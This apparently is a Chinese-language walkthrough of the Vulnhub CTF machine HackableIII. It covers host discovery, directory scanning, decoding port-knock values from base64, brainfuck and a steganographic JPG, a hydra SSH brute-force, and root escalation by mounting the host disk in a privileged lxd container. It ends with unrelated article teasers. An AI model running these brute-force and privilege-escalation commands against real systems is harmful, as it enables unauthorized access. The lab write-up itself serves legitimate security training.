Vulnhub靶场案例渗透[9]- HackableIII

文章目录

  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. 敏感数据获取
    • 5. 获取shell
    • 6. 提权
      • 6.1 敏感信息获取
      • 6.2 lxd提权

一、靶场搭建

1. 靶场描述

Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.

描述:推荐使用virtualBox创建虚拟机,中等难度。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失,对应文件的校验码官方网址会提供。


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

image.png

如果你在使用vmware打开虚拟机时,虚拟机一直停在freeing smp alternatives memory:40k无法启动成功,可以尝试进行硬件兼容性,设置对应的为ESXI7.0

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.129/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.128.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。中途重启了电脑,导致靶机ip变成了192.168.37.130

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.130

结果图:
image.png

可以确认主机开放了80,端口对应的是http服务。通过浏览器访问web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.130 -x 404  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image.png

接下来就是依次访问这些路径。

4. 敏感数据获取

在backup目录获取到一个字典文件wordlist.txt,推测应该是账号或者密码的字典,先使用wget下载到本地。

image.png

看首页的源代码,发现作者的提示信息。从提示中可以得到的信息: 1. 一个用户名jubiscleudo(可和之前的字典文件搭配,可以进行ssh爆破登录).2.靶机设置端口敲门服务。3. 需要关注jpg文件。4. 一个邮件地址。

image.png

知道靶机设定了端口敲门服务,接下来就需要知道敲门的端口序列。第一个位于config/1.txt里面。内容通过了base64编码,通过指定python代码进行解码,得知值为10000

image.png

import base64
import file_util
import sysdef encode_base64(data: bytes) -> str:"""对输入的字节数据进行 Base64 编码。:param data: 要编码的字节数据:return: 编码后的 Base64 字符串"""return base64.b64encode(data).decode('utf-8')def decode_base64(encoded_data: str) -> bytes:"""对输入的 Base64 字符串进行解码。:param encoded_data: Base64 编码的字符串:return: 解码后的字节数据"""return base64.b64decode(encoded_data).decode("utf-8")if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(decode_base64(content.encode("utf-8")))

第二个端口保存在css/2.txt中,通过使用brainfuck进行编码,可以使用以下这段python代码进行解码。得知第二个端口为4444.

import file_util
import sysdef brainfuck_interpreter(code, input_data=""):"""解码:param code: :param input_data: :return: """tape = [0] * 30000  # 初始化 tape,有 30,000 个内存单元pointer = 0  # 指针位置code_pointer = 0  # 代码位置input_pointer = 0  # 输入位置output = []  # 输出结果brackets = []  # 跳转位置的栈while code_pointer < len(code):command = code[code_pointer]if command == ">":pointer += 1elif command == "<":pointer -= 1elif command == "+":tape[pointer] = (tape[pointer] + 1) % 256elif command == "-":tape[pointer] = (tape[pointer] - 1) % 256elif command == ".":output.append(chr(tape[pointer]))elif command == ",":if input_pointer < len(input_data):tape[pointer] = ord(input_data[input_pointer])input_pointer += 1else:tape[pointer] = 0elif command == "[":if tape[pointer] == 0:# 跳到对应的 "]"open_brackets = 1while open_brackets > 0:code_pointer += 1if code[code_pointer] == "[":open_brackets += 1elif code[code_pointer] == "]":open_brackets -= 1else:brackets.append(code_pointer)elif command == "]":if tape[pointer] != 0:code_pointer = brackets[-1]else:brackets.pop()code_pointer += 1return "".join(output)def string_to_brainfuck(input_string):"""编码:param input_string: :return: """code = []current_value = 0  # 当前指针位置的值for char in input_string:target_value = ord(char)diff = target_value - current_value# 使用循环来减少字符if diff > 0:# 找出适当的倍数来创建一个循环num_loops = diff // 10remainder = diff % 10# 循环操作if num_loops > 0:code.append('+' + '[' + '>' + '+' * 10 + '<' + ']' * num_loops)# 剩余的差值if remainder > 0:code.append('+' * remainder)elif diff < 0:# 同样处理负差值num_loops = (-diff) // 10remainder = (-diff) % 10if num_loops > 0:code.append('-' + '[' + '>' + '-' * 10 + '<' + ']' * num_loops)if remainder > 0:code.append('-' * remainder)# 输出当前字符code.append('.')# 更新当前指针位置的值current_value = target_valuereturn ''.join(code)if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(brainfuck_interpreter(content))

第三个端口的保存位置,在3.jpg中,和之前靶机作者的提示呼应上了,是个jpg文件。猜测使用了隐写。首先通过wget把图片下载下来。得知第三个为65535

sudo wget http://192.168.37.130/3.jpg# 查看隐藏的文件信息
steghide info 3.jpg
# 提取内嵌文件
sudo steghide extract  -sf  3.jpg
# 查看文件内容
cat steganopayload148505.txt

image.png

在网页上另外没有找到什么端口信息,接下来直接进行端口敲门。

knock 192.168.37.130 10000 4444 65535

多次敲门之后发现,靶机端口一直不开放,最后登录靶机之后,发现靶机的knockd服务挂了,需要修改。在登录靶机键盘输入有问题,如果你遇到这个问题,可以根据以下命令进行修复。

# 检查键盘布局状态
localectl status
# 设置键盘布局为us
sudo loadkeys us# 修改knocked配置文件,修改为正确的网络接口,对应你敲门的ip的接口
vim /etc/default/knockd
# 启动服务
systemctl start knockd

image.png

修复完这些问题之后,重新进行敲门,发现靶机22端口开放了。

image.png

5. 获取shell

ssh端口开放之后,我们利用之前网站得到的用户名和字典进行ssh爆破登录尝试,使用hydra程序进行。成功爆破出账号和密码。

# -l 指定登录名 -P 指定登录密码字典
hydra -l jubiscleudo -P ./wordlist.txt ssh://192.168.37.130

image.png

image.png

6. 提权

进入目标系统中之后,我个人思路一般就是先从这个地方查看是否存在提权地方

  1. 检查suid文件,并查看对应文件创建者身份。
  2. 检查sudo -l,是否有可利用的点。
  3. 检查/etc/crontab定时任务,并且查看对应文件权限。
  4. 检查/etc/passwd/etc/shadow文件,是否可以进行读取,可以读取就有几率爆破出其它用户的密码。
  5. 检查系统是否存在敏感信息,比如某个用户家目录存储了密码、系统备份文件、查看密码记录等等。
  6. 检查是否存在内核漏洞,可以用来提权的。

6.1 敏感信息获取

在查询系统的备份文件的时候,发现了用户的敏感信息。发现了另一个用户的密码TrOLLED_3

find / -name "*backup*" 2>>/dev/null

image.png

image.png

6.2 lxd提权

切换至hackable_3用户之后,发现这个用户属于lxd组,可以lxd进行提权。

image.png

简单介绍一下lxd提权:

  • lxd(Linux Daemon)是一个轻量级容器管理程序,lxd基于lxc容器技术实现。
  • lxc(Linux Container)是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

lxd提权,就是利用lxd创建一个容器,然后把宿主机的磁盘挂载到容器内部,然后用容器的权限去操作宿主机磁盘内容从而提权。

接下来进行具体的提权步骤

# 在攻击机上运行
# 下载 alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
# alpine镜像构建, 比如使用root用户才能执行
cd lxd-alpine-builder   
sudo ./build-alpine
python3 -m http.server 80# 靶机下载对应镜像文件
wget http://192.168.37.22/alpine-v3.13-x86_64-20210218_0139.tar.gz
# 镜像导入
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化lxd
lxd init
# 配置镜像
lxc init test test -c security.privileged=true
# 挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true# 启动容器
lxc start test
# 进入容器后台
lxc exec test /bin/sh
id
# 进入挂载本地根目录对应的容器目录
cd /mnt/root
cd rootcat root.txt

成功获取到最终root目录下的flag文件。

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/473832.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

抖音热门素材去哪找?优质抖音视频素材网站推荐!

是不是和我一样&#xff0c;刷抖音刷到停不下来&#xff1f;越来越多的朋友希望在抖音上创作出爆款视频&#xff0c;但苦于没有好素材。今天就来推荐几个超级实用的抖音视频素材网站&#xff0c;让你的视频内容立刻变得高大上&#xff01;这篇满是干货&#xff0c;直接上重点&a…

如何轻松导出所有 WordPress URL 为纯文本格式

作为一名多年的 WordPress 使用者&#xff0c;我深知管理一个网站的复杂性。从迁移网站、设置重定向到整理内容结构&#xff0c;每一步都需要精细处理。而拥有所有 URL 的清单&#xff0c;不仅能让这些工作变得更加简单&#xff0c;还能为后续的管理提供极大的便利。其实&#…

vue项目使用eslint+prettier管理项目格式化

代码格式化、规范化说明 使用eslintprettier进行格式化&#xff0c;vscode中需要安装插件ESLint、Prettier - Code formatter&#xff0c;且格式化程序选择为后者&#xff08;vue文件、js文件要分别设置&#xff09; 对于eslint规则&#xff0c;在格式化时不会全部自动调整&…

Ubuntu 18.04 配置sources.list源文件(无法安全地用该源进行更新,所以默认禁用该源)

如果你 sudo apt update 时出现诸如 无法安全地用该源进行更新&#xff0c;所以默认禁用该源 的错误&#xff0c;那就换换源吧&#xff0c;链接&#xff1a; https://mirror.tuna.tsinghua.edu.cn/help/ubuntu/ 注意版本&#xff1a; 修改源文件&#xff1a; sudo nano /etc…

5. langgraph中的react agent使用 (从零构建一个react agent)

1. 定义 Agent 状态 首先&#xff0c;我们需要定义 Agent 的状态&#xff0c;这包括 Agent 所持有的消息。 from typing import (Annotated,Sequence,TypedDict, ) from langchain_core.messages import BaseMessage from langgraph.graph.message import add_messagesclass …

【网络】什么是交换机?switch

交换机&#xff08;Switch&#xff09;意为“开关”&#xff0c;是一种用于电&#xff08;光&#xff09;信号转发的网络设备。以下是关于交换机的详细解释&#xff1a; 一、交换机的基本定义 功能&#xff1a;交换机能为接入交换机的任意两个网络节点提供独享的电信号通路&am…

【AlphaFold3】开源本地的安装及使用

文章目录 安装安装DockerInstalling Docker on Host启用Rootless Docker 安装 GPU 支持安装 NVIDIA 驱动程序安装 NVIDIA 对 Docker 的支持 获取 AlphaFold 3 源代码获取基因数据库获取模型参数构建将运行 AlphaFold 3 的 Docker 容器 参考 AlphaFold3: https://github.com/goo…

【免越狱】iOS砸壳 可下载AppStore任意版本 旧版本IPA下载

软件介绍 下载iOS旧版应用&#xff0c;简化繁琐的抓包流程。 一键生成去更新IPA&#xff08;手机安装后&#xff0c;去除App Store的更新检测&#xff09;。 软件界面 支持系统 Windows 10/Windows 8/Windows 7&#xff08;由于使用了Fiddler库&#xff0c;因此需要.Net环境…

shell 100例

1、每天写一个文件 (题目要求&#xff09; 请按照这样的日期格式(xxxx-xx-xx每日生成一个文件 例如生成的文件为2017-12-20.log&#xff0c;并且把磁盘的使用情况写到到这个文件中不用考虑cron&#xff0c;仅仅写脚本即可 [核心要点] date命令用法 df命令 知识补充&#xff1…

Acrobat Pro DC 2023(pdf免费转化word)

所在位置 通过网盘分享的文件&#xff1a;Acrobat Pro DC 2023(64bit).tar 链接: https://pan.baidu.com/s/1_m8TT1rHTtp5YnU8F0QGXQ 提取码: 1234 --来自百度网盘超级会员v4的分享 安装流程 打开安装所在位置 进入安装程序 找到安装程序 进入后点击自定义安装&#xff0c;这里…

linux之调度管理(5)-实时调度器

一、概述 在Linux内核中&#xff0c;实时进程总是比普通进程的优先级要高&#xff0c;实时进程的调度是由Real Time Scheduler(RT调度器)来管理&#xff0c;而普通进程由CFS调度器来管理。 实时进程支持的调度策略为&#xff1a;SCHED_FIFO和SCHED_RR。 SCHED_FIFO&#xff…

在arm64架构下, Ubuntu 18.04.5 LTS 用命令安装和卸载qt4、qt5

问题&#xff1a;需要在 arm64下安装Qt&#xff0c;QT源码编译失败以后&#xff0c;选择在线安装&#xff01; 最后安装的版本是Qt5.9.5 和QtCreator 4.5.2 。 一、ubuntu安装qt4的命令(亲测有效)&#xff1a; sudo add-apt-repository ppa:rock-core/qt4 sudo apt updat…

Qt 之 qwt和QCustomplot对比

QWT&#xff08;Qt Widgets for Technical Applications&#xff09;和 QCustomPlot 都是用于在 Qt 应用程序中绘制图形和图表的第三方库。它们各有优缺点&#xff0c;适用于不同的场景。 以下是 QWT 和 QCustomPlot 的对比分析&#xff1a; 1. 功能丰富度 QWT 功能丰富&a…

实用教程:如何无损修改MP4视频时长

如何在UltraEdit中搜索MP4文件中的“mvhd”关键字 引言 在视频编辑和分析领域&#xff0c;有时我们需要深入到视频文件的底层结构中去。UltraEdit&#xff08;UE&#xff09;和UEStudio作为强大的文本编辑器&#xff0c;允许我们以十六进制模式打开和搜索MP4文件。本文将指导…

使用nossl模式连接MySQL数据库详解

使用nossl模式连接MySQL数据库详解 摘要一、引言二、nossl模式概述2.1 SSL与nossl模式的区别2.2 选择nossl模式的场景三、在nossl模式下连接MySQL数据库3.1 准备工作3.2 C++代码示例3.3 代码详解3.3.1 初始化MySQL连接对象3.3.2 连接到MySQL数据库3.3.3 执行查询操作3.3.4 处理…

Linux下编译MFEM

本文记录在Linux下编译MFEM的过程。 零、环境 操作系统Ubuntu 22.04.4 LTSVS Code1.92.1Git2.34.1GCC11.4.0CMake3.22.1Boost1.74.0oneAPI2024.2.1 一、安装依赖 二、编译代码 附录I: CMakeUserPresets.json {"version": 4,"configurePresets": [{&quo…

号卡分销系统,号卡系统,物联网卡系统源码安装教程

号卡分销系统&#xff0c;号卡系统&#xff0c;物联网卡系统&#xff0c;&#xff0c;实现的高性能(PHP协程、PHP微服务)、高灵活性、前后端分离(后台)&#xff0c;PHP 持久化框架&#xff0c;助力管理系统敏捷开发&#xff0c;长期持续更新中。 主要特性 基于Auth验证的权限…

Java基础-集合

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 前言 一、Java集合框架概述 二、Collection接口及其实现 2.1 Collection接口 2.2 List接口及其实现 …

基于Python的仓库管理系统设计与实现

背景&#xff1a; 基于Python的仓库管理系统功能介绍 本仓库管理系统采用Python语言开发&#xff0c;利用Django框架和MySQL数据库&#xff0c;实现了高效、便捷的仓库管理功能。 用户管理&#xff1a; 支持员工和管理员角色的管理。 用户注册、登录和权限分配功能&#x…

机器学习(基础2)

特征工程 特征工程:就是对特征进行相关的处理 一般使用pandas来进行数据清洗和数据处理、使用sklearn来进行特征工程 特征工程是将任意数据(如文本或图像)转换为可用于机器学习的数字特征,比如:字典特征提取(特征离散化)、文本特征提取、图像特征提取。 特征工程API 实例化…